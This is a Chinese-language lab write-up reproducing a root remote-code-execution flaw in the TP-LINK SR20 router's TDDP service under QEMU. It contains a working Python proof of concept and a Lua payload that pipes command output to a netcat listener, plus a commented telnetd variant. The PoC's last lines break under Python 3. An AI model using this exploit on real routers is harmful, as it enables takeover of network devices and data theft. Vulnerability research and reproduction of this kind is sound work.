TP-LINK Smart Home Router远程代码执行漏洞复现及漏洞分析

固件安全
2025-01-22 13:31
25241

漏洞复现设备:TP-LINK (Smart Home Router)SR20
漏洞原理:路由器中存在远程代码执行
漏洞产生原因:TP-LINK公司专有协议:TDDP协议,该协议v1版本存在一个远程代码执行漏洞,攻击者可以利用该漏洞在路由器上以root权限执行任意命令
复现环境:qemu-system IDA Netcat

漏洞分析

TDDP v1不存在验证功能,所以在向SR20的UDP1040端口发送数据时,路由器都会接受并处理,如果发送数据的第二字节是0x31,设备就会连接发送该请求的设备,用TFTP服务下载相应的文件,然后使用lua加载并执行一个外部lua文件

首先对下载好的固件包进行binwalk -Me进行解包,解包后squashfs-root目录就是固件文件系统

截屏2025-01-20 17.12.51.png

使用find命令查找“tppd”
find ./ -name “tddp”

Pasted image 20250120172319.png

使用read -h命令分析和显示ELF文件信息

Pasted image 20250120172753.png
得知此二进制文件是arm32位、小端

接下来把tddp二进制文件拖进IDA里进行分析
使用shift+F12查找“tppd“,快速定位程序入口

Pasted image 20250120173303.png
Pasted image 20250120173401.png

按F5进行分析,发现其中v6似乎是一个指向某个结构体或数组的指针,代表了某种网络连接或任务上下文

Pasted image 20250120174049.png

往下看发现设置了timeout和readfds,执行sellect,如果select返回数据,且该数据可读取,则调用sub_16418进行处理

Pasted image 20250120174447.png

点进sub_16418继续分析,这里对v2进行了判断,如果v2=1,那么就调用sub_9340函数并将返回值存储在a1[13]中,再传递a1和&n到sub_15E74函数

Pasted image 20250120175243.png

再进入到sub_15E74函数里,前文提到了在发送数据第二字节为0x31时,设备就会连接发送请求设备,下载相应文件

Pasted image 20250120180945.png

进入到sub_A580函数,如果读取失败或者字符串为空,程序回输出错误信息并跳转到LABEL_20,v16被赋值为从a1+4出获取IP地址,调用sub_91DC执行命令cd /tmp;tftp -gr %s %s &,这会在后台执行一个TFTP下载操作,并把此脚本或配置文件放到/tmp目录下,程序等待文件下载完成并执行,使用sleep每秒检查一次文件是否已经下载完成并检查文件是否存在

Pasted image 20250120181252.png

固件模拟

上文已经得知tddp文件是arm32位
下面直接使用arm环境进行模拟
首先需要给本机配置一个tap0网卡,使虚拟机能和模拟系统进行通信

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.0.4/24 up

因为漏洞使用TFTP下载文件,所以在虚拟机也需要安装TFTP服务
sudo apt install atftpd

Pasted image 20250120202833.png

下载成功后需修改/etc/default/atftpd文件
首先对文件进行chmod 777,其次把文件内容修改为以下内容

## Options for atftpd:
USE_INETD=false
OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"

PS:将 USE_INETD设置为 false让 atftpd作为独立进程运行,而不是通过inetd启动

修改完成后回到 / 目录下创建tftpboot文件夹,并给tftpboot文件夹chmod 777权限

Pasted image 20250120204152.png

使用sudo systemctl start atftpd 启动atftpd服务
使用sudo systemctl status atftpd 查看服务是否为开启状态

Pasted image 20250121140555.png

配置完成后使用qemu-system-arm程序模拟整个系统

#!/bin/sh
qemu-system-arm \
    -M vexpress-a9 \
    -kernel /home/iot/Desktop/tools/qemu-images/armhf/vmlinuz-3.2.0-4-vexpress \
    -initrd /home/iot/Desktop/tools/qemu-images/armhf/initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=/home/iot/Desktop/tools/qemu-images/armhf/debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic

启动完成后用root/root登陆进入到主页面,再对eth0网卡配置

ifconfig eth0 192.168.0.3/24

Pasted image 20250121142502.png
使用以上命令将eth0网卡配置成功,并与虚拟机能正常通信

在虚拟机上用scp将文件传到模拟系统中

scp -r ~/Desktop/SR20/_tpra_sr20v1.bin.extracted/squashfs-root root@192.168.0.3:/root/

Pasted image 20250121142426.png

chroot默认不会切换/dev和/proc,因此切换根目录前需要挂载这两个目录

mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/

因为后面会用到Netcat实现反向shell或数据泄漏
所以用which命令找到netcat工具是否存在
which netcat
Pasted image 20250121224436.png

至此环境搭建完成

漏洞复现

在之前创建的tftpboot文件夹下创建名为payload的文件并写入一个简单的lua脚本,通常用于远程命令执行漏洞,这串代码利用os.execute执行外部命令,并通过netcat将信息发送到指定的ip和端口

function config_test(config) #用于执行系统命令
os.execute("id|nc 192.168.0.4 1234") #Lua函数,能够在操作系统中执行传入命令,运行系统命令
end

在模拟系统界面进入squashfs-root目录下输入

chroot . sh
tddp

Pasted image 20250121150730.png
启动tddp

使用nmap进行扫描,确认tddp成功启动

sudo nmap -p 1040 -sU 192.168.0.3

Pasted image 20250121201041.png

在虚拟机终端用nc启动监听

nc -lvnp 1234

启动监听后在/etc/tftpboot目录下执行poc

python3 poc.py 192.168.0.3 "payload"
#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
# Execute script as poc.py remoteaddr filename
import sys

import binascii

import socket

 

port_send = 1040

port_receive = 61000

 

tddp_ver = "01"

tddp_command = "31"

tddp_req = "01"

tddp_reply = "00"

tddp_padding = "%0.16X" % 00

 

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

 

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock_receive.bind(('', port_receive))

 

# Send a request

sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

packet = binascii.unhexlify(tddp_packet)

argument = "%s;arbitrary" % sys.argv[2]

packet = packet + argument.encode()

sock_send.sendto(packet, (sys.argv[1], port_send))

sock_send.close()

 

response, addr = sock_receive.recvfrom(1024)

r = response.encode('hex')

print(r)

Pasted image 20250121221517.png
至此漏洞复现成功

总结

TP-Link SR20 路由器通过tftp远程下载文件、执行脚本或获取系统敏感信息,攻击者可以通过该漏洞在目标路由器上执行任意命令,包括但不限于下载恶意文件、访问路由器配置文件、破坏网络配置等。如果想解决该问题可以通过对管理限制访问、禁用远程管理、强密码和双因素的认证等。

分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们